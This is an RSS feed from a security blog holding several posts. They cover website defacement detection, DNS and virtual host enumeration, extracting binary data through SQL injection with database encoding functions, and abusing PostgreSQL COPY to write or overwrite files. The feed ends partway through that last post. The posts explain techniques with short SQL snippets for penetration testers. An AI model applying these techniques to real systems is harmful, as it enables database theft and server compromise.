<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>lab.lonerunners.net &#187; Paper</title>
	<atom:link href="http://lab.lonerunners.net/category/paper/feed" rel="self" type="application/rss+xml" />
	<link>http://lab.lonerunners.net</link>
	<description>Information security pills and drugs</description>
	<lastBuildDate>Thu, 01 Jul 2010 13:20:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Website defacement detection techniques</title>
		<link>http://lab.lonerunners.net/paper/website-defacement-detection-techniques</link>
		<comments>http://lab.lonerunners.net/paper/website-defacement-detection-techniques#comments</comments>
		<pubDate>Tue, 13 Oct 2009 22:22:43 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Paper]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[detection]]></category>
		<category><![CDATA[website monitoring]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=91</guid>
		<description><![CDATA[photo credit: anarchosyn Table of Contents 1. Website defacement 2. Anomaly detection systems 2.1 Checksum comparison 2.2 Diff comparison 2.3 DOM tree analysis 2.4 Complex algorithms 3. Signature detection 4. Thresholds and worst cases 1. Website defacement A website defacement is the unauthorized substitution of a web page or a part of it by a [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: right"></h2>
<p style="text-align: center"><img src="http://farm3.static.flickr.com/2227/2058607525_77c79f877b.jpg" border="0" alt="Rime Bandit Close-Up AWR MSK 7thLetter LosAngeles Graffiti Art" /></p>
<p style="text-align: right"><a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="anarchosyn" href="http://www.flickr.com/photos/24293932@N00/2058607525/" target="_blank">anarchosyn</a></p>
<h2>Table of Contents</h2>
<p>1. Website defacement<br />
2. Anomaly detection systems<br />
2.1 Checksum comparison<br />
2.2 Diff comparison<br />
2.3 DOM tree analysis<br />
2.4 Complex algorithms<br />
3. Signature detection<br />
4. Thresholds and worst cases</p>
<h2>1. Website defacement</h2>
<p>A website defacement is the unauthorized substitution of a web page or a part of it by a system cracker. A defacement is generally meant as a kind of electronic graffiti, although recently it has become a means to spread messages by politically motivated cyber protesters or hacktivists.<br />
This is a very common form of attack that seriously damages the trust and the reputation of a website.<br />
Detecting web page defacements is one of the main services for the security monitoring system.<br />
A lot of time ago I wrote a small &amp; smart application to detect web site defacements in large scale with the ability to monitor a lot (thousands) of websites. This was a test to collect some statistics, so I tried to do it in a short time: I wrote it in a few days.<br />
So I was asking me about what techniques and technologies I can use to get the highest detection rate with the minimum effort.<br />
I choose Ruby, Ruby on Rails for the user interface and Event Machine to speed up the performances.<br />
With only few days of development I can&#8217;t struggle with complex algorithms to detect defacements, but I choose some very simple techniques, that after some months of tests, seemed to be very effective. The performance and detection rate of this &#8220;poor man&#8221; techniques are comparable to some others commercial monitoring systems.<br />
The key feature of the proposed techniques is that it does not require the installation of a component (like an HIDS) or a participation of the site maintainers. It require only the URL of the web site to monitor.<br />
Today I want to share this brainstorming about web site detection techniques.</p>
<h2>2. Anomaly detection systems</h2>
<p>Anomaly detection refers to detecting patterns in a given data set that do not conform to an established normal behavior. The patterns thus detected are called anomalies and often translate to critical and actionable information in several application domains.<br />
The defacement monitoring application needs to detect a change in a web page and detect if it&#8217;s &#8220;normal&#8221; or it&#8217;s an &#8220;anomaly&#8221;.<br />
To create a set of &#8220;normal&#8221; a preliminary learning phase builds a profile of the monitored web page, then the web site can be monitored for &#8220;anomaly&#8221; changes.<br />
The detection of a defacement is based on a dynamic threshold, if the web page changed over this threshold the system treat it as defaced and throw a defacement alert.<br />
This threshold is updated to avoid the obsolescence of his value and the learning set.</p>
<h2>2.1 Checksum comparison</h2>
<p>The simplest way to detect a change in some text-formatted data, like a HTML page, is to compute and check his checksum with a hash algorithm like MD5 or SHA1.<br />
Only a little change in the monitored web page generate a different checksum, so you can detect a defacement.<br />
This works well for &#8220;best of &#8217;90s&#8221; web sites which uses only static content, but for today&#8217;s web pages with contents that change at every reload this technique is quite obsolete.<br />
For example a web page with a counter or a timers inside changes his content at every reload and the checksum is continually different.<br />
Moreover this type of check cannot observe a threshold based system because it&#8217;s a comparison with a true or false result.</p>
<h2>2.2 Diff comparison</h2>
<p>There are some libraries in python and ruby implementing the widely known unix tool diff, using it we can get the difference between two web pages.<br />
We can use a threshold based system learning the usual difference percentage of a web page and check if a changeset is under the usual threshold.<br />
This is a very fast but very effective technique which works well in most dynamic sites.</p>
<h2>2.3 DOM tree analysis</h2>
<p>This is a similar strategy to the diff comparison, but is used the DOM tree instead of the plain HTML content for the comparison.<br />
The layout of a website changes, tags and properties, have little changes during time. Using this fact you can build up a threshold based system as above.</p>
<h2>2.4 Complex algorithms</h2>
<p>You can design a lot of algorithms, or use some of the already known, but this is a very expensive work. I haven&#8217;t used any complex logic or algorithm but if you want to follow this way you can find a lot of academic papers about this field.</p>
<h2>3. Signature detection</h2>
<p>The web pages are examined for pre-configured and predetermined attack patterns known as signatures. Many attacks today have distinct signatures. The collection of these signatures must be constantly updated to mitigate emerging threats. I used the wide database of <a href="http://www.zone-h.org">Zone-h</a> to build a signature set always updated.</p>
<h2>4. Thresholds and worst cases</h2>
<p>The bigger effort is<strong> </strong>design the engagement rules and tuning good thresholds.<br />
The percentage of changes in a website can change during time, an evaluation of both anomaly detection and signature detection techniques, using a weighted logic can help to reduce false positives.<br />
You must remember that you need to deal with website restyling, layout changes, widgets and banners that can be removed or added.<br />
As today there are some worst cases that causes false negatives: defacement done via javascript (levaraging on a XSS vulnerability) or via CSS, or partial defacements (do you remember the securityfocus.com defacement?) where only a part, like an image or a banner, of the website changes.</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/paper/website-defacement-detection-techniques/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP Filesystem Attack Vectors @ Ush.it</title>
		<link>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it</link>
		<comments>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it#comments</comments>
		<pubDate>Tue, 28 Jul 2009 19:30:19 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Paper]]></category>
		<category><![CDATA[attack vector]]></category>
		<category><![CDATA[filesystem]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=89</guid>
		<description><![CDATA[photo credit: Ivo Jansch The Ush.it team published the second part of &#8220;PHP Filesystem Attack Vectors&#8221; paper. Have a nice read here!]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><a title="Evil elephpant" href="http://www.flickr.com/photos/9813542@N08/2700202117/" target="_blank"><img class="aligncenter" src="http://farm4.static.flickr.com/3252/2700202117_85079ac868.jpg" border="0" alt="Evil elephpant" /></a><br />
<a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Ivo Jansch" href="http://www.flickr.com/photos/9813542@N08/2700202117/" target="_blank">Ivo Jansch</a></p>
<p>The <a href="http://www.ush.it">Ush.it</a> team published the second part of &#8220;<a href="http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/">PHP Filesystem Attack Vectors</a>&#8221; paper. Have a nice read <a href="http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/">here</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/paper/php-filesystem-attack-vectors-ush-it/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Binary data fetching through SQLi</title>
		<link>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli</link>
		<comments>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli#comments</comments>
		<pubDate>Mon, 23 Feb 2009 20:45:23 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[binary data]]></category>
		<category><![CDATA[blob]]></category>
		<category><![CDATA[data casting]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=18</guid>
		<description><![CDATA[photo credit: spdorsey Table of contents 1. Introduction 2. How BLOB storage works 3. Casting binary data 3.1 MySQL 3.2 PostgreSQL 3.3 SQL Server 4. References 1. Introduction Exploiting a SQL injection flaw in a web application can give the attacker full control of the remote DBMS. One of the major consequences of exploiting consists [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3250/2920925776_2b18b82344.jpg" border="0" alt="10" /></p>
<p style="text-align: right;"><a title="Attribution-NoDerivs License" href="http://creativecommons.org/licenses/by-nd/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="spdorsey" href="http://www.flickr.com/photos/47082206@N00/2920925776/" target="_blank">spdorsey</a></p>
<h2>Table of contents</h2>
<p>1. Introduction<br />
2. How BLOB storage works<br />
3. Casting binary data<br />
3.1 MySQL<br />
3.2 PostgreSQL<br />
3.3 SQL Server<br />
4. References</p>
<h2>1. Introduction</h2>
<p>Exploiting a SQL injection flaw in a web application can give the attacker full control of the remote DBMS. One of the major consequences of exploiting consists in fetching all or part of the data stored in the database.</p>
<p>In several cases, like a web application that stores images on the database, the attacker has to deal with binary data.</p>
<p>Follows some techniques to fetch binary data via a SQL injection flaw.</p>
<h2>2. How BLOB storage works</h2>
<p>According to Wikipedia a BLOB[1] is:</p>
<blockquote><p>A binary large object, also known as a blob, is a collection of binary data stored as a single entity in a database management system. Blobs are typically images, audio or other multimedia objects, though sometimes binary executable code is stored as a blob. Database support for blobs is not universal.</p>
<p>Blobs were originally just amorphous chunks of data invented by Jim Starkey at DEC, who describes them as &#8220;the thing that ate Cincinnati, Cleveland, or whatever&#8221;. Later, Terry McKiever, a marketing person for Apollo felt that it needed to be an acronym and invented the backronym Basic Large Object. Then Informix invented an alternative backronym, Binary Large Object. Today many people believe that blob was originally intended as an acronym for something.</p></blockquote>
<p>The BLOB data can be stored in the DBMS tables or as usual file system files linked by a pointer in the data table.  The BLOB storage engine  is built with one or a combination of these techniques to get the best performances.</p>
<p>The BLOB storage is handled by the DBMS engine that provides high level SQL statement to the user.</p>
<h2>3. Casting Binary data</h2>
<p>The idea behind the hack is to cast the BLOB data to another data-type that can be fetched via SQLi. For example: cast a BLOB to a string containing the BLOB encoded in base64, so we can use a string representation of binary object that acts as middleware to fetch data over any type of SQL injection.</p>
<p>As far as I know there are no public automatic SQL injection tools that can fetch binary data from a vulnerable web application.</p>
<h2>3.1 MySQL</h2>
<p>In MySQL SQL syntax the function HEX()[2] can be used to get the hexadecimal value of one field of any data-type. The function HEX(`foo`) returns a string representation of the hexadecimal value of foo, where foo is a binary large object (BLOB). So we can cast a binary data-type to a string data-type.</p>
<p>For example the following SQL statement returns the hexadecimal value of the binary object stored in the field named blob:</p>
<blockquote><p>SELECT HEX(`blob`) FROM footable;</p></blockquote>
<p>Now we can use the hexadecimal BLOB representation to fetch data from binary (BLOB) fields using the standard techniques to fetch data via SQL injection or blind SQL injection.</p>
<p>Using HEX() we can deal a BLOB as a text string and use the common techniques and tools.</p>
<p>Once we have fetched the binary data encoded as hexadecimal, we have to restore the original binary data out of it. We can use the SQL UNHEX() function, that get a hexadecimal string and outputs a BLOB object, a command line utility or a few lines in you favorite programming language can do the trick.</p>
<p>This is the easy way to get a textual representation of BLOB under MySQL, the HEX() function is supported from MySQL 4.1.</p>
<h2>4.2 PostgreSQL</h2>
<p>PostgreSQL can not store values of more than several thousands bytes within any data-type except large objects, nor can binary data be easily entered within single quotes. Instead, large objects (BLOB) are used to store very large values and binary data.</p>
<p>BLOB permits storage of any operating system file, including images or large text files, directly into the database.</p>
<p>As you can see in the DBMS data-type comparison sheet[3] PostgreSQL stores BLOB data in a data-type called OID that acts like a pointer to the stored object on the file system.</p>
<p>For example using the psql client from command line you can load the file into the database using lo_import(), and retrieve it from the database using lo_export() which works only for local files[4].</p>
<blockquote><p>postgres=# CREATE TABLE foo (image OID);<br />
CREATE TABLE<br />
postgres=# INSERT INTO foo VALUES (lo_import(&#8216;/tmp/bar.jpg&#8217;));<br />
INSERT 0 1</p></blockquote>
<p>The lo_import() function stores /tmp/bar.jpg into the database. The function call returns an OID that is used to refer the imported large object. This value is stored in foo.image as an integer.</p>
<p>If you want to read the foo.image value the lo_export() function uses the OID value to find the large object stored in the database, then places the exported file into the output file.</p>
<p>Full path names must be used with large objects because the database server runs in a different directory than the psql client. Files are imported and exported by the postgres user, so postgres must have permission to read the file for lo_import() and directory write permission for lo_export().</p>
<p>There are others functions to manage large objects (BLOB) available under PostreSQL[5].</p>
<p>Because large objects uses the local filesystem, users connecting over a network can not use lo_import() or lo_export(). They can, however, use psql&#8217;s \lo_import and \lo_export commands.</p>
<p>If we are exploiting a SQL injection in a web application we can&#8217;t use the functions lo_import() and lo_export() but we need a way to get the juice data on the vulnerable server.</p>
<p>From PostgreSQL documentation &#8220;String Functions and Operators&#8221;[6] we catch the function ENCODE(data bytea, type text).</p>
<p>This function encodes binary data to an ASCII-only representation. The supported types are: base64, hex, escape.</p>
<p>Now we have the function to convert a bytea data-type into a base64 or hex string. We need only to convert the BLOB OID in a bytea.</p>
<p>The fastest way to do this is a two step recipe: first get the number of OID that you need and after quering the system table pg_largeobject.</p>
<blockquote><p>postgres=# SELECT image FROM foo;<br />
image<br />
&#8212;&#8212;-<br />
16387<br />
(1 row)<br />
postgres=# SELECT ENCODE(data, &#8216;base64&#8242;) FROM pg_largeobject WHERE LOID=16387;<br />
encode<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
JVBERi0xLjINJeLjz9MNCjIwOSAwIG9iag08PCANL0xpbmVhcml6ZWQgMSAN<br />
IDYyOCA4NTEgXSANL0wgMjU4NDYxOCANL0UgMTI5NDg1IA0vTiAxNiANL<br />
DWVuZG9iag0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC<br />
[snip..]<br />
M2I4MWJkNTdlOTNjNWVmNj5dDT4+DXN0YXJ0eHJlZg0xNzMNJSVFT0YN<br />
(1263 rows)</p></blockquote>
<p>Now you get your goal and you can fetch a BLOB on PostgreSQL with only two queries.</p>
<p>For further details on PostgreSQL BLOB functions you can refer to &#8220;SQLi: Writing files to disk under PostgreSQL&#8221;[7].</p>
<h2>3.3 SQL Server</h2>
<p>SQL Server stores binary data in the following data-types: BINARY, VARBINARY, IMAGE.</p>
<p>You can create a demo table for your test with:</p>
<blockquote><p>CREATE TABLE dbo.foo<br />
(<br />
image image NULL<br />
)  ON [PRIMARY]<br />
TEXTIMAGE_ON [PRIMARY]<br />
GO</p></blockquote>
<p>You can insert the file foo.bmp with the following:</p>
<blockquote><p>INSERT INTO [tempdb].[dbo].[foo]<br />
([image])<br />
SELECT * FROM<br />
OPENROWSET(BULK N&#8217;C:\foo.bmp&#8217;, SINGLE_BLOB) AS i<br />
GO</p></blockquote>
<p>The binary data can be converted to a hex string injecting a stored procedure in SQL Server. This is described in Microsoft kb104829[8].</p>
<blockquote><p>create procedure sp_hexadecimal<br />
@binvalue varbinary(255)<br />
as<br />
declare @charvalue varchar(255)<br />
declare @i int<br />
declare @length int<br />
declare @hexstring char(16)</p>
<p>select @charvalue = &#8217;0x&#8217;<br />
select @i = 1<br />
select @length = datalength(@binvalue)<br />
select @hexstring = &#8220;0123456789abcdef&#8221;</p>
<p>while (@i &lt;= @length)<br />
begin</p>
<p>declare @tempint int<br />
declare @firstint int<br />
declare @secondint int</p>
<p>select @tempint = convert(int, substring(@binvalue,@i,1))<br />
select @firstint = floor(@tempint/16)<br />
select @secondint = @tempint &#8211; (@firstint*16)</p>
<p>select @charvalue = @charvalue +<br />
substring(@hexstring, @firstint+1, 1) +<br />
substring(@hexstring, @secondint+1, 1)</p>
<p>select @i = @i + 1</p>
<p>end</p>
<p>select &#8216;sp_hexadecimal&#8217;=@charvalue</p></blockquote>
<h2>3.4 Other DBMS</h2>
<p>The same technique can be used in any other DBMS like Oracle, DB2, Informix that have casting functions or BLOB conversion functions.</p>
<h2>4. References</h2>
<p>[1] <a href="http://en.wikipedia.org/wiki/Binary_large_object">http://en.wikipedia.org/wiki/Binary_large_object</a><br />
[2] <a href="http://dev.mysql.com/doc/mysql/en/String_functions.html">http://dev.mysql.com/doc/mysql/en/String_functions.html</a><br />
[3] <a href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html">http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html</a><br />
[4]  <a href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html">http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html</a><br />
[5] <a href="http://www.postgresql.org/docs/8.3/interactive/largeobjects.html">http://www.postgresql.org/docs/8.3/interactive/largeobjects.html</a><br />
[6] <a href="http://www.postgresql.org/docs/8.1/interactive/functions-string.html">http://www.postgresql.org/docs/8.1/interactive/functions-string.html</a><br />
[7] <a href="http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql">http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql</a><br />
[8] <a href="http://support.microsoft.com/kb/104829">http://support.microsoft.com/kb/104829</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/binary-data-fetching-through-sqli/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Virtual host and DNS names enumeration techniques</title>
		<link>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques</link>
		<comments>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques#comments</comments>
		<pubDate>Sat, 24 Jan 2009 17:36:52 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dns alias]]></category>
		<category><![CDATA[dns name]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[hostmap]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=39</guid>
		<description><![CDATA[photo credit: Hey Paul Table of Contents 1. Why you need to enumerate 2. Techniques 2.1 DNS enumeration techniques 2.2 Banner grabbing 2.3 SSL/TLS Protocol enumeration techniques 2.4 HTTP Protocol enumeration techniques 2.5 Passive web enumeration techniques 2.6 Active web enumeration techniques 1. Why you need to enumerate The host name discovery phase is an [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Culture Tubes" href="http://www.flickr.com/photos/10775233@N00/107326169/" target="_blank"></a></p>
<p style="text-align: center;"><img src="http://farm1.static.flickr.com/41/107326169_8b4e8afd1f.jpg" border="0" alt="Culture Tubes" /></p>
<p style="text-align: right;"><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Hey Paul" href="http://www.flickr.com/photos/10775233@N00/107326169/" target="_blank">Hey Paul</a></p>
<h2>Table of Contents</h2>
<p>1. Why you need to enumerate<br />
2. Techniques<br />
2.1 DNS enumeration techniques<br />
2.2 Banner grabbing<br />
2.3 SSL/TLS Protocol enumeration techniques<br />
2.4 HTTP Protocol enumeration techniques<br />
2.5 Passive web enumeration techniques<br />
2.6 Active web enumeration techniques</p>
<h2>1. Why you need to enumerate</h2>
<p>The host name  discovery phase is an information gathering act to get a complete and detailed view of target resources and attack points.</p>
<p>During an attack or a penetration test, the attacker needs to known <span style="font-size: small;"> as much information as possible about the entry</span> points to attack. An entry point can be identified with an IP address, a service port, and some application level information, like the virtual host name in the case of a web server hosting several sites.</p>
<h2>2. Techniques</h2>
<p>There are several techniques that can be used to discover host names and virtual hosts associated with a IP address.</p>
<p>Some techniques described here are implemented (and the others will be implemented soon)  in hostmap, a tool that I wrote to discover virtual hosts and DNS names of a given IP address. <span style="font-size: small;">As of today, the tool is private (it does not depend on me)</span> but I hope to release it to the public domain soon.</p>
<h2>2.1 DNS enumeration techniques</h2>
<p>The following enumeration techniques are based on the DNS protocol and are:</p>
<p>•<strong> Reverse DNS lookup</strong>: Performs a PTR request to get the host name from IP address.</p>
<p>• <strong>Name servers record lookup</strong>: Get the authoritative name server for the target host.</p>
<p>• <strong>Mail exchange record lookup</strong>: Get the MX records for the target host domain.</p>
<p>• <strong>DNS AXFR zone transfer</strong>: The name server that serve the target machine&#8217;s domain zone can be prone to a zone transfer attack. This allows an attacker to perform <span style="font-size: small;">an AXFR DNS request to retrieve all of the DNS records served.</span></p>
<p>• <strong>Host name brute forcing</strong>: Using a brute-forcing <span style="font-size: small;">technique to guess a hos</span>t name on the enumerated domain that resolve as the target ip address.</p>
<h2>2.2 Banner grabbing</h2>
<p>The services exposed by the target host can disclose a host name in the response banner. You need to simply telnet in all open ports and wait for a response banner (or negotiate the application protocol). For example this is the response banner of a SMTP server running Postfix:</p>
<pre>$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 mail.example.lan ESMTP Postfix</pre>
<p>As you can see in the response banner you get the host name.</p>
<h2>2.3 SSL/TLS Protocol enumeration techniques</h2>
<p>The following enumeration techniques are based on the SSL/TLS protocol and is:</p>
<p>•<strong> X.509 Certificate</strong>: <span style="font-size: small;">Often the target machine exposes an HTTP over SSL service</span>. A connection is tried to the common HTTP service ports and is tried to negotiate an SSL/TLS connection, if the remote server supply a X.509 certificate the host name is taken from the Common Name (CN) field.</p>
<h2>2.4 HTTP Protocol enumeration techniques</h2>
<ul>
<li><strong>Virtual host brute-forcing</strong>: The web server can be brute-forced to guess a website served by the target host.</li>
<li><strong>Following redirects</strong>: It is possible to guess another website served by the target host following redirects (HTTP code 301 and 302).</li>
<li><strong>With error pages</strong>: If you try to get an error page (code 500) sometimes you can get an error page showing a banner with the host name.</li>
</ul>
<h2>2.5 Passive web enumeration techniques</h2>
<p>The following enumeration techniques are based on third party web sites and are:</p>
<p>• <strong>Search engines</strong>: The following search engines can be used and queried using the target IP address:</p>
<p>– Microsoft Live (with the dork &#8220;ip:&#8221;): [<a href="http://search.msn.com">http://search.msn.com</a>]</p>
<p>• <strong>GPG/PGP key databases</strong>: The following public databases can be used:</p>
<p>– MIT gpg key server: [<a href="http://pgp.mit.edu:11371">http://pgp.mit.edu:11371</a>]</p>
<p>• <strong>DNS/WHOIS databases</strong>: Public whois information databases like RIPE, or DNS snapshot database can be used to passively enumerate host name and track his history.</p>
<p>The following is a partial list of  public databases that can be used:</p>
<p>– Domainsdb: [<a href="http://www.domainsdb.net/">http://www.domainsdb.net/</a>]</p>
<p>– Fbk.de: [<a href="http://www.bfk.de/">http://www.bfk.de/</a>]</p>
<p>– Gigablast: [<a href="http://www.gigablast.com">http://www.gigablast.com</a>]</p>
<p>– Netcraft: [<a href="http://searchdns.netcraft.com">http://searchdns.netcraft.com</a>]</p>
<p>– Robtex: [<a href="http://www.robtex.com">http://www.robtex.com</a>]</p>
<p>– Tomdns: [<a href="http://www.tomdns.net">http://www.tomdns.net</a>]</p>
<p>– Web hosting: [<a href="http://whois.webhosting.info/">http://whois.webhosting.info/</a>]</p>
<p>– Web-max: [<a href="http://www.web-max.ca">http://www.web-max.ca</a>]</p>
<h2>2.6 Active web enumeration techniques</h2>
<ul>
<li><strong>Crawling</strong>: All published websites can be crawled for links to other sites and checked (if they resolve as the target IP address) to get other sites hosted on the target. This technique is very time consuming.</li>
</ul>
<p><span style="color: #ff0000;"><strong>UPDATE</strong></span>: hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Python. hostmap has been released in may and you can get it at <a href="http://hostmap.sourceforge.net/">http://hostmap.sourceforge.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQLi: Writing files to disk under PostgreSQL</title>
		<link>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql</link>
		<comments>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql#comments</comments>
		<pubDate>Sun, 21 Dec 2008 13:03:54 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Paper]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[writing file]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=17</guid>
		<description><![CDATA[photo credit: Paul Worthington Table of Contents 1. Introduction 2. Default configuration 3. COPY Function 3.1 COPY function abusing 4. BLOB functions 4.1 BLOB functions abusing 5. User defined functions 5.1 User defined functions abusing 6. Conclusions 7. References 1. Introduction The following examples assume access to the database has been achieved through SQL Injection [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img src="http://farm1.static.flickr.com/38/82648702_800bccf11e.jpg" border="0" alt="Pencils and Moleskines 04" /></p>
<h2 style="text-align: right;"><small><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Paul Worthington" href="http://www.flickr.com/photos/33586091@N00/82648702/" target="_blank">Paul Worthington</a></small></h2>
<h2>Table of Contents</h2>
<p>1. Introduction<br />
2. Default configuration<br />
3. COPY Function<br />
3.1 COPY function abusing<br />
4.  BLOB functions<br />
4.1 BLOB functions abusing<br />
5. User defined functions<br />
5.1 User defined functions abusing<br />
6. Conclusions<br />
7. References</p>
<h2>1. Introduction</h2>
<p>The following examples assume access to the database has been achieved through SQL Injection vulnerability in a web application.</p>
<p>Sometimes, against best practice, the application has connected to the database using superuser credentials.</p>
<h2>2. Default configuration</h2>
<p>In some systems the configuration files of PostgreSQL are owned by the user used to run the PostgreSQL process.</p>
<p>For example in my Ubuntu laptop the PostgreSQL configuration file are owned by postgres by default, as you can see:</p>
<pre>$ ls -al /etc/postgresql/8.3/main/
total 44
drwxr-xr-x 2 root     root      4096 2008-05-14 00:20 .
drwxr-xr-x 3 root     root      4096 2008-04-12 15:19 ..
-rw-r--r-- 1 root     root       316 2008-04-12 15:20 environment
-rw-r----- 1 postgres postgres  3845 2008-05-13 23:07 pg_hba.conf
-rw-r----- 1 postgres postgres  1460 2008-04-12 15:20 pg_ident.conf
-rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf
-rw-r--r-- 1 root     root       378 2008-04-12 15:20 start.conf</pre>
<p>All the configuration files are owned by postgres user which can write these.</p>
<p>So anyone that can execute a SQL statement that write files to disk can try to overwrite a configuration file and do all evil things.</p>
<h2>3. COPY Function</h2>
<p>The COPY statement transfers data between PostgreSQL tables and standard file system files.</p>
<p>COPY TO statement copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already).</p>
<p>It can export data as text or PostgreSQL&#8217;s own binary format, which contains a header.</p>
<p>Using COPY with a file name instructs the PostgreSQL server to directly read from or write to a file. The file must be accessible to the server and the name must be specified from the viewpoint of the server. When STDIN or STDOUT is specified, data is transmitted via the connection between the client and the server.</p>
<p>In PostgreSQL 8.0 and later the database file locations can be determined querying system table pg_settings:</p>
<pre>postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------------
/var/lib/postgresql/8.3/main
(1 row)</pre>
<h2>3.1 COPY function abusing</h2>
<p>The files are accessed under the operating system user privilege that the database runs as and it&#8217;s available only to database superusers.</p>
<p>The COPY command does not accept relative paths to prevent the overwriting of a database file, more explanation of this can be found in copy.c source file.</p>
<p>So an attacker can use ~ to write in PostgreSQL home directory and must write files in already known path or a well known directory like /tmp.</p>
<p>The caveat is that the file cannot contain a null byte (0&#215;00) otherwise proceeding bytes will not be written out.</p>
<h2>4.  BLOB functions</h2>
<p>PostgreSQL uses large objects, also called Binary Large Objects, to store very large values and binary data. Large objects permit storage of any operating system file, including images or large text files, directly into the database.</p>
